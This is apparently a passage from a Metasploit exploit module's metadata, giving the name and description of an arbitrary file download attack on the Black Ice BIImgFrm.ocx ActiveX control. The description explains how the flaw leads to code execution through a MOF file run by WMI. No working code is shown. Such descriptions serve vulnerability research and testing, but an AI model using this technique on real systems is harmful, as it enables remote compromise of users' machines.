'Name' => 'Black Ice Cover Page ActiveX Control Arbitrary File Download',
'Description' => %q{
This module allows remote attackers to place arbitrary files on a users file system
by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX
Control (BIImgFrm.ocx 12.0.0.0). Code exeuction can be acheived by first uploading the
payload to the remote machine, and then upload another mof file, which enables Windows
Management Instrumentation service to execute the binary. Please note that this module
currently only works for Windows before Vista. Also, a similar issue is reported in
BIDIB.ocx (10.9.3.0) within the Barcode SDK.
